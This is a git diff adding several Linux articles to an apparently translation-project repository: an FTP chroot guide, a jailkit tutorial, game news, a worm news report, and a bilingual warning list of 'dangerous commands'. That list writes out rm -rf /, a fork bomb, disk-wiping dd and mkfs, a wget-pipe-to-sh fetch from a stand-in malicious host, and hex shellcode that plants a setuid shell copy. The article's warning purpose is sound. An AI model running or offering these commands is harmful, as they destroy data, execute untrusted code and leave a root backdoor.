For added security, you can restrict FTP access to certain users by adding them to **/etc/vsftpd.chroot_list** file.
|
||||
|
||||
Edit vsftpd.conf file,
|
||||
|
||||
nano /etc/vsftpd.conf
|
||||
|
||||
Make the changes as shown below.
|
||||
|
||||
[...]
|
||||
# Uncomment and set YES
|
||||
chroot_local_user=YES
|
||||
chroot_list_enable=YES
|
||||
chroot_list_file=/etc/vsftpd.chroot_list
|
||||
[...]
|
||||
|
||||
Create **file /etc/vsftpd.chroot_list**,
|
||||
|
||||
nano /etc/vsftpd.chroot_list
|
||||
|
||||
Add the users that you want to give access to FTP server. I added the user **unixmen**.
|
||||
|
||||
unixmen
|
||||
|
||||
Restart ftp service.
|
||||
|
||||
# systemctl restart vsftpd.service
|
||||
|
||||
Now you will be able to connect to FTP server with users who are listed in the chroot list file.
|
||||
|
||||
If users other than in the chroot list want to access FTP server, they will get the following error.
|
||||
|
||||
500 OOPS: could not read chroot() list file:/etc/vsftpd.chroot_list
|
||||
ftp: Login failed
|
||||
|
||||
That’s it for now. Your FTP server is ready to use. Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://filezilla-project.org/
|
219
sources/Setup a jailed shell with jailkit on ubuntu.md
Normal file
219
sources/Setup a jailed shell with jailkit on ubuntu.md
Normal file
@ -0,0 +1,219 @@
|
||||
Setup a jailed shell with jailkit on ubuntu
|
||||
================================================================================
|
||||
### Jailed Shell and Jailkit ###
|
||||
|
||||
A jailed shell is a kind of limited shell that provides the user with a very real looking shell but does not allow him to mess with/view/modify any parts of the real file systems. The file system inside the shell is different from the actual file system of the underlying system. Such a functionality is achived through chroot and finds many kinds of applications. For example to setup a linux shell for users to just "play with". Or run some program with full functionality but in a limited environment and so on.
|
||||
|
||||
In this tutorial we are going to talk about setting up a jailed shell quickly with jailkit on ubuntu. Jailkit is helper program that allows to quickly setup a jailed shell, jail users inside it, and configure programs to run from the jailed environment.
|
||||
|
||||
Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1]
|
||||
|
||||
We have already discussed about installing jailkit on ubuntu so check out that post.
|
||||
|
||||
### Setup jailed shell ###
|
||||
|
||||
#### 1. Setup the jail environment ####
|
||||
|
||||
There needs to be a directory where the whole jail environment will be setup. Lets do it in /opt/jail. This can be whatever.
|
||||
|
||||
$ sudo mkdir /opt/jail
|
||||
|
||||
Root should own this directory. So chown it out.
|
||||
|
||||
$ sudo chown root:root /opt/jail
|
||||
|
||||
#### 2. Setup the programs to make available inside the jail ####
|
||||
|
||||
All the programs that need to be available in the jail need to be copied inside it using the jk_init command.
|
||||
|
||||
Example
|
||||
|
||||
$ sudo jk_init -v /jail basicshell
|
||||
$ sudo jk_init -v /jail editors
|
||||
$ sudo jk_init -v /jail extendedshell
|
||||
$ sudo jk_init -v /jail netutils
|
||||
$ sudo jk_init -v /jail ssh
|
||||
$ sudo jk_init -v /jail sftp
|
||||
$ sudo jk_init -v /jail jk_lsh
|
||||
|
||||
Or at one go
|
||||
|
||||
$ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp
|
||||
|
||||
The names like basicshell , editors , netutils are groups that contain multiple programs. Each group is a set of executable files, libraries etc to be copied into the shell. For example, the section **basicshell** provides many programs like bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep etc in the jail.
|
||||
|
||||
For a complete list of sections that can be setup, have a look at /etc/jailkit/jk_init.ini.
|
||||
|
||||
jk_lsh (Jailkit limited shell) - is an important section, and must be added.
|
||||
|
||||
#### 3. Create the user who will be jailed ####
|
||||
|
||||
Need a user to put inside the jail. Lets create one
|
||||
|
||||
$ sudo adduser robber
|
||||
Adding user `robber' ...
|
||||
Adding new group `robber' (1005) ...
|
||||
Adding new user `robber' (1006) with group `robber' ...
|
||||
Creating home directory `/home/robber' ...
|
||||
Copying files from `/etc/skel' ...
|
||||
Enter new UNIX password:
|
||||
Retype new UNIX password:
|
||||
passwd: password updated successfully
|
||||
Changing the user information for robber
|
||||
Enter the new value, or press ENTER for the default
|
||||
Full Name []:
|
||||
Room Number []:
|
||||
Work Phone []:
|
||||
Home Phone []:
|
||||
Other []:
|
||||
Is the information correct? [Y/n] y
|
||||
|
||||
Note that this is a normal user who is created in the actual filesystem and not inside the jail.
|
||||
In the next step this user shall be imprisoned inside the jail.
|
||||
|
||||
At this point if you take a look at /etc/passwd you get to see an entry at the end that looks like this
|
||||
|
||||
robber:x:1006:1005:,,,:/home/robber:/bin/bash
|
||||
|
||||
This is our new user and the last part /bin/bash indicates that the user has a normal shell access on the system, if he logs in.
|
||||
|
||||
#### 4. Jail the user ####
|
||||
|
||||
Now its time to put the user inside the jail.
|
||||
|
||||
$ sudo jk_jailuser -m -j /opt/jail/ robber
|
||||
|
||||
By doing this the user robber has now been jailed.
|
||||
|
||||
Now if you take a look at /etc/passwd the last entry would look like this
|
||||
|
||||
robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh
|
||||
|
||||
Note that the last 2 parts that indicate the home user and the shell type have changed. The home directory of the user is now inside the jail environment at /opt/jail. The shell of the user is now a special program called jk_chrootsh that will provide the jailed shell.
|
||||
|
||||
It is this particular shell called jk_chrootsh that takes the user inside the jail, everytime he logs onto the system.
|
||||
|
||||
The jail setup by now is nearly done. But if you try to connect to id from ssh, it will fail like this :
|
||||
|
||||
$ ssh robber@localhost
|
||||
robber@localhost's password:
|
||||
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com/
|
||||
|
||||
13 packages can be updated.
|
||||
0 updates are security updates.
|
||||
|
||||
*** /dev/sda7 will be checked for errors at next reboot ***
|
||||
*** /dev/sda8 will be checked for errors at next reboot ***
|
||||
|
||||
Last login: Sat Jun 23 12:45:13 2012 from localhost
|
||||
Connection to localhost closed.
|
||||
$
|
||||
|
||||
The connection shall close. This happens because the user actually has a limited shell.
|
||||
|
||||
#### 5. Give bash shell to user inside the jail ####
|
||||
|
||||
The next important thing to do is to give the user a proper bash shell, but inside the jail.
|
||||
Open the following file
|
||||
|
||||
/opt/jail/etc/passwd
|
||||
|
||||
Its the password file inside the jail. It would look somewhat like this
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh
|
||||
|
||||
Change the /usr/sbin/jk_lsh to /bin/bash
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
robber:x:1006:1005:,,,:/home/robber:/bin/bash
|
||||
|
||||
Save the file and exit.
|
||||
|
||||
#### 6. Login to the jail ####
|
||||
|
||||
So now its time to login into the jail again
|
||||
|
||||
$ ssh robber@localhost
|
||||
robber@localhost's password:
|
||||
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com/
|
||||
|
||||
13 packages can be updated.
|
||||
0 updates are security updates.
|
||||
|
||||
*** /dev/sda7 will be checked for errors at next reboot ***
|
||||
*** /dev/sda8 will be checked for errors at next reboot ***
|
||||
|
||||
Last login: Sat Jun 23 12:46:01 2012 from localhost
|
||||
bash: groups: command not found
|
||||
I have no name!@desktop:~$
|
||||
|
||||
The jail says 'I have no name!' , ha ha. Now we have a fully functional bash shell but inside the jail.
|
||||
|
||||
Now check the environment by moving around. The root / of the jailed environment is /opt/jail of the real file system. But its only we who knows that, not the jailed user.
|
||||
|
||||
I have no name!@desktop:~$ cd /
|
||||
I have no name!@desktop:/$ ls
|
||||
bin dev etc home lib lib64 run usr var
|
||||
I have no name!@desktop:/$
|
||||
|
||||
Also only the commands that were copied via jk_cp sections will be available in this jail.
|
||||
|
||||
If the login fails, then check /var/log/auth.log for error messages.
|
||||
|
||||
Now try running some network command like wget or anything similar.
|
||||
|
||||
$ wget http://www.google.com/
|
||||
|
||||
If you get an error like this :
|
||||
|
||||
$ wget http://www.google.com/
|
||||
--2012-06-23 12:56:43-- http://www.google.com/
|
||||
Resolving www.google.com (www.google.com)... failed: Name or service not known.
|
||||
wget: unable to resolve host address `www.google.com'
|
||||
|
||||
Fix it by running the following 2 commands :
|
||||
|
||||
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2
|
||||
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2
|
||||
|
||||
The exact location of the libnss_files.so and libnss_dns.so can vary so check.
|
||||
|
||||
### Running programs or services in the jail ###
|
||||
|
||||
Now the setup is complete. Jails are useful to run programs or services in a restricted/secure environments. To launch a program or daemon inside the jail use the **jk_chrootlaunch** command.
|
||||
|
||||
$ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail
|
||||
|
||||
The jk_chrootlaunch utility can be used to launch a particular process inside the jail environment with privileges of the specified user. If the daemon fails to start, check /var/log/syslog for error messages.
|
||||
|
||||
To run the program inside the jail, the program must first be fully copied inside the jail using the jk_cp command.
|
||||
|
||||
jk_cp - a utility to copy files including permissions and libraries into a jail
|
||||
|
||||
For further reading about various jailkit commands, check the documentation at [http://olivier.sessink.nl/jailkit/][1]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://olivier.sessink.nl/jailkit/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
@ -0,0 +1,38 @@
|
||||
SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing
|
||||
================================================================================
|
||||
**Hands up if you don’t like open-source racing game SuperTuxKart? You, folks, are strange.**
|
||||
|
||||
As kart-racers go, it’s one of the most popular freely available. And for good reason: it’s fun, easy to play and has a dedicated team of developers who are continually adding to and improving what is already a really polished game.
|
||||
|
||||
But it’s getting even better. The first release candidate of build 0.8.1 – the first update since last year’s 0.8 build – [has been made available for testing][1] (for ‘testing’ see ‘excuse to play it for hours and not feel guilty’).
|
||||
|
||||
SuperTuxKart 0.8.1 adds a number of improvements, including:
|
||||
|
||||
- A new Star Trek themed track “STK Enterprise”
|
||||
- Three tracks updated (‘Old Mines’, ‘Lighthouse’ & ‘Zen Garden’)
|
||||
- New ‘Egg Hunt’ and ‘Soccer’ modes
|
||||
- New and updated karts
|
||||
- New difficulty level
|
||||
- Bubblegum shield weapon
|
||||
- Option to save and resume Grand Prix mode
|
||||
- [WiiMote Support][2]
|
||||
|
||||
### Geting SuperTuxKart 0.8.1 ###
|
||||
|
||||
No release date has been given on when to expect the final, stable release of 0.8.1 but I’d expect it to land sometime in December – marking one year from the previous release in the 0.8.x series.
|
||||
|
||||
In the meantime, if you’re okay with “Release Candidate”-quality software, you’ll find a pre-compiled binary for Linux over on the project’s Sourceforge Page.
|
||||
|
||||
- [Download SuperTuxKart 0.8.1 Release Candidate][3]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/supertux-kart-0-8-1-release-candidate
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://supertuxkart.blogspot.co.uk/2013/11/supertuxkart-081-rc1.html
|
||||
[2]:http://supertuxkart.net/Wiimote
|
||||
[3]:http://sourceforge.net/projects/supertuxkart/files/SuperTuxKart/0.8.1-rc1/
|
@ -0,0 +1,25 @@
|
||||
这个不错 我要占坑
|
||||
Test your reflexes with Briquolo, fast breakout game
|
||||
================================================================================
|
||||
[Briquolo][2] is a fast captivating breakout game that adopts the classic enjoyable game of dealing with a ball, in order to destroy various objects.
|
||||
|
||||
Briquolo comes with an agile nature, therefore, the gamer is to be attentive while reflecting back the ball, a second of inattention and the ball is lost.
|
||||
|
||||
Launching the game, the user is to notice its 3D look, the brave board is moved on top of a colorful environment featuring 3D objects, game arena where power-ups prove themselves vital, not succeeding to get the board-increasing goodies, the gamer decreases one's ability to complete the stage against the sprint-like attribute of the ball.
|
||||
|
||||
Pleasant effects, according-to music and tweakable options (including the ability to set the game in fullscreen mode with high resolutions,--including 1920x1080--) present Briquolo as entertaining and challenging.
|
||||
|
||||

|
||||
|
||||
Briquolo 0.5.7 is freely [available][2] for installation via Ubuntu Software Center (Ubuntu 12.04, Ubuntu 12.10, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04).
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://briquolo.free.fr/en/
|
||||
[2]:apt://briquolo
|
@ -0,0 +1,40 @@
|
||||
[this is bazz2, if you wanna translate this article, no way :P]
|
||||
This new worm targets Linux PCs and embedded devices
|
||||
================================================================================
|
||||
**The malware spreads by exploiting a 2012 vulnerability in PHP, Symantec researchers said**
|
||||
|
||||
IDG News Service - A new worm is targeting x86 computers running Linux and PHP, and variants may also pose a threat to devices such as home routers and set-top boxes based on other chip architectures.
|
||||
|
||||
According to security researchers from Symantec, the malware spreads by exploiting a vulnerability in php-cgi, a component that allows PHP to run in the Common Gateway Interface (CGI) configuration. The vulnerability is tracked as CVE-2012-1823 and was patched in PHP 5.4.3 and PHP 5.3.13 in May 2012.
|
||||
|
||||
The new worm, which was named Linux.Darlloz, is based on proof-of-concept code released in late October, the Symantec researchers said Wednesday in a [blog post][1].
|
||||
|
||||
"Upon execution, the worm generates IP [Internet Protocol] addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability," the Symantec researchers explained. "If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target."
|
||||
|
||||
The only variant seen to be spreading so far targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures.
|
||||
|
||||
However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL.
|
||||
|
||||
These architectures are used in embedded devices like home routers, IP cameras, set-top boxes and many others.
|
||||
|
||||
"The attacker is apparently trying to maximize the infection opportunity by expanding coverage to any devices running on Linux," the Symantec researchers said. "However, we have not confirmed attacks against non-PC devices yet."
|
||||
|
||||
The firmware of many embedded devices is based on some type of Linux and includes a Web server with PHP for the Web-based administration interface. These kinds of devices might be easier to compromise than Linux PCs or servers because they don't receive updates very often.
|
||||
|
||||
Patching vulnerabilities in embedded devices has never been an easy task. Many vendors don't issue regular updates and when they do, users are often not properly informed about the security issues fixed in those updates.
|
||||
|
||||
In addition, installing an update on embedded devices requires more work and technical knowledge than updating regular software installed on a computer. Users have to know where the updates are published, download them manually and then upload them to their devices through a Web-based administration interface.
|
||||
|
||||
"Many users may not be aware that they are using vulnerable devices in their homes or offices," the Symantec researchers said. "Another issue we could face is that even if users notice vulnerable devices, no updates have been provided to some products by the vendor, because of outdated technology or hardware limitations, such as not having enough memory or a CPU that is too slow to support new versions of the software."
|
||||
|
||||
To protect their devices from the worm, users are advised to verify if those devices run the latest available firmware version, update the firmware if needed, set up strong administration passwords and block HTTP POST requests to -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4, either from the gateway firewall or on each individual device if possible, the Symantec researchers said.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices
|
@ -0,0 +1,46 @@
|
||||
UNIGINE Is Probably the Best Gaming Engine on Linux
|
||||
================================================================================
|
||||
**The UNIGINE, a real-time 3D engine built to run on all major platforms, including Linux, has just received another update, bringing some important new features.**
|
||||
|
||||

|
||||
|
||||
Unigine Engine is built by non-other than Unigine Corp., the company behind the Heaven DX11 Benchmark software. The technology they develop is getting better all the time, and with their recent expansion on the Linux platform, we’re all too glad to see that major updates have been implemented in the engine.
|
||||
|
||||
Amongst the biggest changes in the latest Unigine update is the Common Image Generator Interface (CIGI) protocol.
|
||||
|
||||
According to the developers, this interface is a standard way for a host device to communicate with an image generator (IG) in the simulation industry.
|
||||
|
||||
### Highlights of the new Unigine Engine: ###
|
||||
|
||||
- Support has been added for the conversion of WGS84, ECF and NED coordinate systems into Cartesian one (this will help developers to made better use of real-world GIS data in UNIGINE-powered projects);
|
||||
- The Game Framework has been implemented, making it easier to create games with features such as automatic link between Entity and Node, automatic link between Level and World, object management for Entities, Global Game context across all Levels, events handling system, optimal updating of Entities, and more;
|
||||
- The FPS stability for the rendered has been increased;
|
||||
- Two new options, a 2D noise and 3D noise (States tab in the editor), have been added to the mesh_leaf_base material;
|
||||
- A new parameter, Occlusion mask, has been added to all of the materials;
|
||||
- Heights of clutters and grass are synchronized now;
|
||||
- A few crashes on rendering of non-Flash splash screens have been fixed.
|
||||
|
||||
A complete list of new features, for all the platforms, is available in the official [announcement][1].
|
||||
|
||||
Keep in mind that the UNIGINE graphics engine is only aimed at commercial enterprises and that not even a trial version is available for the general public.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484.shtml
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.unigine.com/devlog/2013/11/27/113
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
@ -0,0 +1,166 @@
|
||||
10 Most Dangerous Commands – You Should Never Execute on Linux
|
||||
|
||||
"10个最危险的命令 - 你永远不要在Linux下执行,否则呵呵.."
|
||||
|
||||
"================================================================================"
|
||||
|
||||
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
|
||||
|
||||
"Linux命令行佷有用很高效,也很有趣,但有时候你不确定你自己在正在做什么时尤其的危险。这篇文章并不打算使你对**Linux**或**linux 命令行**感到愤怒。我们只是想让你意识到在你运行有些命令时应该三思而后行。"
|
||||
|
||||
""
|
||||
|
||||
### 1. rm -rf Command ###
|
||||
|
||||
"### 1. rm -rf 命令 ###"
|
||||
|
||||
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
|
||||
|
||||
"**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的打字错误或无知都可能导致不可恢复的系统毁坏。下列是一些**rm 命令**的选项。"
|
||||
|
||||
- **rm** command in Linux is used to delete files.
|
||||
"- **rm** 命令在Linux下通常用来删除文件。"
|
||||
- **rm -r** command deletes the folder recursively, even the empty folder.
|
||||
"- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。"
|
||||
- **rm -f** command removes ‘Read only File’ without asking.
|
||||
"- **rm -f** 命令能不经过询问直接删除‘只读文件’。"
|
||||
- **rm -rf /** : Force deletion of everything in root directory.
|
||||
"- **rm -rf /** : 强制删除root目录下所有东东。"
|
||||
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
|
||||
"- **rm -rf** * : 强制删除当前目录/工作目录的所有文件。"
|
||||
- **rm -rf .** : Force deletion of current folder and sub folders.
|
||||
"- **rm -rf .** : 强制删除当前文件夹及其子文件夹。"
|
||||
|
||||
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion.
|
||||
|
||||
"从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 ‘**rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。"
|
||||
|
||||
### 2. :(){:|:&};: Command ###
|
||||
|
||||
"### 2. :(){:|:&};: 命令###"
|
||||
|
||||
The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
|
||||
|
||||
"这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。"
|
||||
|
||||
" :(){:|:&};:"
|
||||
|
||||
### 3. command > /dev/sda ###
|
||||
|
||||
"### 3. 命令 > /dev/sda ###"
|
||||
|
||||
The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
|
||||
|
||||
"上列命令会将‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有文件替换为命令写入的原始数据,从而导致整个块设备的数据丢失。"
|
||||
|
||||
### 4. mv folder /dev/null ###
|
||||
|
||||
"### 4. mv 文件夹 /dev/null ###"
|
||||
|
||||
The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
|
||||
|
||||
"上列命令会移动‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。"
|
||||
|
||||
" # mv /home/user/* /dev/null"
|
||||
|
||||
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
|
||||
|
||||
"上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。"
|
||||
|
||||
### 5. wget http://malicious_source -O- | sh ###
|
||||
|
||||
"### 5. wget http://malicious_source -O- | sh ###"
|
||||
|
||||
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
|
||||
|
||||
"上列命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而**sh**会执行下载下来的脚本。"
|
||||
|
||||
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
|
||||
|
||||
"**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。"
|
||||
|
||||
### 6. mkfs.ext3 /dev/sda ###
|
||||
|
||||
"### 6. mkfs.ext3 /dev/sda ###"
|
||||
|
||||
The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
|
||||
|
||||
"上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。"
|
||||
|
||||
### 7. > file ###
|
||||
|
||||
"### 7. > file###"
|
||||
|
||||
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
|
||||
|
||||
"上列命令常用来清空文件内容。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。"
|
||||
|
||||
### 8. ^foo^bar ###
|
||||
|
||||
"### 8. ^foo^bar ###"
|
||||
|
||||
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command.
|
||||
|
||||
"这个命令在我们[10个鲜为人知的Linux命令][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。"
|
||||
|
||||
### 9. dd if=/dev/random of=/dev/sda ###
|
||||
|
||||
"### 9. dd if=/dev/random of=/dev/sda ###"
|
||||
|
||||
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
|
||||
|
||||
"上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入不协调和不可恢复的状态。"
|
||||
|
||||
### 10. Hidden the Command ###
|
||||
|
||||
"### 10. 隐藏命令 ###"
|
||||
|
||||
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
|
||||
|
||||
"下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你对**root**分区。"
|
||||
|
||||
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.
|
||||
|
||||
"这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。"
|
||||
|
||||
" char esp[] __attribute__ ((section(“.text”))) /* e.s.p"
|
||||
" release */"
|
||||
" = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"
|
||||
" “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″"
|
||||
" “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″"
|
||||
" “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″"
|
||||
" “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″"
|
||||
" “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″"
|
||||
" “\x6e\x2f\x73\x68\x00\x2d\x63\x00″"
|
||||
" “cp -p /bin/sh /tmp/.beyond; chmod 4755"
|
||||
" /tmp/.beyond;”;"
|
||||
|
||||
**Note**: Don’t execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
|
||||
|
||||
"**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章**作者**和**Tecmint**概不负责。"
|
||||
|
||||
That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback.
|
||||
|
||||
"今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和链接到**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。"
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
@ -1,97 +0,0 @@
|
||||
11个基础性Linux问答访谈
|
||||
================================================================================
|
||||
没有理论,我们在此高调宣布Tecmint新的板块诞生,专门致力于Linux。我们将带领你走进"Linux访谈"以及Linux其它的方方面面。在这样一个激烈竞争的世界,对于一个行业来说,此举必不可少。
|
||||
|
||||

|
||||
|
||||
该板块 (**Linux 访谈**) 每个周末都会发表新的文章。**Tecmint**开创的这个访谈栏目在所有致力于linux发展的网站中尚属首创,文章独有,质量上乘。
|
||||
|
||||
我们以**基础Linux访谈**开始,逐步引入涉及高级话题的文章,对此,我们非常期待你的答复,因为这将使我们万众瞩目。
|
||||
|
||||
#### Q.1: Linux 操作系统的核心是什么? ####
|
||||
- Shell
|
||||
